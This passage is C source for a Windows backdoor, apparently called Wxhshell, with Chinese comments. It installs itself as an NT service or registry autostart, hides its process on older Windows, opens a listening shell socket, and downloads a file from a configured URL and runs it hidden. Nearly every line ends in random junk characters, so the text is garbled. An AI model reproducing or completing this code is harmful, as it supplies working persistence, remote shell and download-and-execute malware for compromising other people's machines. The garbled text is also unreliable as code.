DWORD AffinityMask; ;7jszs.6%
DWORD BasePriority; }Zs
y&K
ULONG UniqueProcessId; '<}N`PS#N
ULONG InheritedFromUniqueProcessId; ~]CQ
DR:
} PROCESS_BASIC_INFORMATION; `QpkD8
pX5#!)
PROCNTQSIP NtQueryInformationProcess; P;.j5P^j`
qD@]FEw!O
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;'E1yzX^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZtS>'W8l
6:Fb>|]*PY
HANDLE hProcess; rD"$,-h
PROCESS_BASIC_INFORMATION pbi; q%g!TFMg
#H0-Fwo
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U3R;'80 f
if(NULL == hInst ) return 0; MLbmz\8a
3}:(.K
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yK1@`3@?
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k0@b"y*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p\A!"KC
~F gxhK2+
if (!NtQueryInformationProcess) return 0; xL-]gwq
+7<W.Zii
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _>b=f
if(!hProcess) return 0; S!'Y:AeD&
0Nvk|uI
V[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +v!%z(
uq.!{3)8
CloseHandle(hProcess); L5 -p0O`R
O[$,e%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NNOemTh
if(hProcess==NULL) return 0; rKhhx
0|a ,bwZ
HMODULE hMod; mE|?0mRA %
char procName[255]; zla^j,
unsigned long cbNeeded; SauX C
aR- ?t14
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (:g ZZG
gK_^RE9~
CloseHandle(hProcess); ]~YY#I":
F'~\!dNL
if(strstr(procName,"services")) return 1; // 以服务启动 apz)4%A
0bl?dOV{
return 0; // 注册表启动 S2;u!f
} \
5&-U@
r]sNI[
// 主模块 d[0R#2y=
int StartWxhshell(LPSTR lpCmdLine) i[IOR0
{ E.Vlz^B
SOCKET wsl; *Y:;fl +v
BOOL val=TRUE; 5_H`6-q
int port=0; _l{`lQ}
struct sockaddr_in door; *VuiEBG
K:<j=j@51
if(wscfg.ws_autoins) Install(); [w1 4hHnq
pXoD*o b
port=atoi(lpCmdLine); ktA5]f;
z(YzK
if(port<=0) port=wscfg.ws_port; d~0k}|>
(dH "b
*
WSADATA data; 8zI*<RX.Q
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; // k`X
o_i N(K
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r5>1n/+6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fTq/9=Rq4
door.sin_family = AF_INET; EE{]EW(
door.sin_addr.s_addr = inet_addr("127.0.0.1"); (C3:_cM5
door.sin_port = htons(port); Wb1?>q
4#^E$N:
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DN$[rCi7
closesocket(wsl); 6rP?$mn2
return 1; h /iL/Q=
} io[>`@=
uht>@ WSg|
if(listen(wsl,2) == INVALID_SOCKET) { ehpU`vQz
closesocket(wsl); e|-%-juI
return 1; }x A Eu,n^
} 99KW("C1F
Wxhshell(wsl); VUneCt%
WSACleanup(); ITt*TuS2c
]jB`"to*}
return 0; z]49dCN
X_\$hF
} |7$Q'3V
B-1Kfc
// 以NT服务方式启动 D;Bij=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qo5yfdR
{ -$A
>b8
DWORD status = 0; 4#Bzq3,|
DWORD specificError = 0xfffffff; X$Y\/|!z
BwJL)$D<S
serviceStatus.dwServiceType = SERVICE_WIN32; Qq|c%FZ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6)h~9iK
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qlNB\~HCe
serviceStatus.dwWin32ExitCode = 0; ,SF>$
.
serviceStatus.dwServiceSpecificExitCode = 0; )Y](Mj!D
serviceStatus.dwCheckPoint = 0; EK%J%NY
serviceStatus.dwWaitHint = 0; ~_]i'ii8
3nbTK3,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1_B;r9x
if (hServiceStatusHandle==0) return; [.Y]f.D
1C5~GI `
status = GetLastError(); JYK4/gJ
if (status!=NO_ERROR) EJid@
{ ?^by3\,VZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; v[b|J7k
serviceStatus.dwCheckPoint = 0; i"h~QEE
serviceStatus.dwWaitHint = 0; o'KBe%@/
serviceStatus.dwWin32ExitCode = status; _g]h \3
serviceStatus.dwServiceSpecificExitCode = specificError; = e"RE/q2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z=j,-d%9
return; o]<@E u G
} {5NE jUu{j
Jwtt&" c0.
serviceStatus.dwCurrentState = SERVICE_RUNNING;
B;A< pNT
serviceStatus.dwCheckPoint = 0; C9j3|]nyL
serviceStatus.dwWaitHint = 0; kTfE*We9
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }nK=~Wcu\
} Maw$^Tz,
aJzyEb
// 处理NT服务事件,比如:启动、停止 "MPr'3
VOID WINAPI NTServiceHandler(DWORD fdwControl) $lAQcG&Q
{ :m[HUh
switch(fdwControl) 3n)\D<f]#
{ wlEmy.)H
case SERVICE_CONTROL_STOP: 2~y<l
serviceStatus.dwWin32ExitCode = 0; 5M?
I-m
serviceStatus.dwCurrentState = SERVICE_STOPPED; Ge=|RAw3
serviceStatus.dwCheckPoint = 0; )~{8C:
serviceStatus.dwWaitHint = 0; *?x[pqGq
{ VD90JU]X<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Srom@c
} \B
Uno6
return; !F08F>@D
case SERVICE_CONTROL_PAUSE: \^3cNw
serviceStatus.dwCurrentState = SERVICE_PAUSED; @M)"
break; ]A,Og_g
case SERVICE_CONTROL_CONTINUE: y6P-:f/&*
serviceStatus.dwCurrentState = SERVICE_RUNNING; l H{~?x
break; bNG7A[|B
case SERVICE_CONTROL_INTERROGATE: J] )gXVRM
break; b\Mb6s
}; /ptG
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N+zR7`AG8
} ``,q[|
mNPz%B
// 标准应用程序主函数 Z5Tu*u=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
D}/nE>*
{ A(1WQUu j
fU>4Ip1?y/
// 获取操作系统版本 `G<|5pe
OsIsNt=GetOsVer(); o9+fAH`D
GetModuleFileName(NULL,ExeFile,MAX_PATH); We@wN:
J l
fIYf~
// 从命令行安装 *XkgwJq
if(strpbrk(lpCmdLine,"iI")) Install(); Dq<!wtFG[
:OD-L)Or
// 下载执行文件 h/NI5
if(wscfg.ws_downexe) { Z!z#+G
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V5!mV_EoR@
WinExec(wscfg.ws_filenam,SW_HIDE); ; 6q`c!p7
} v9GfudTZR
om1D} irKT
if(!OsIsNt) { iHk/#a
// 如果时win9x,隐藏进程并且设置为注册表启动 {S"! c.
HideProc();
|!xqkmX
StartWxhshell(lpCmdLine); OP98 sd&T
} UW],9r/PD@
else 4v#A#5+O E
if(StartFromService()) =PmIrvr'[5
// 以服务方式启动 Tilw.z
StartServiceCtrlDispatcher(DispatchTable); yhxZ^(I
else [-hsG E
// 普通方式启动 @ 5V3I^
StartWxhshell(lpCmdLine); ;edt["Eu
8.tp#x,A
return 0; L[. )!c8k
}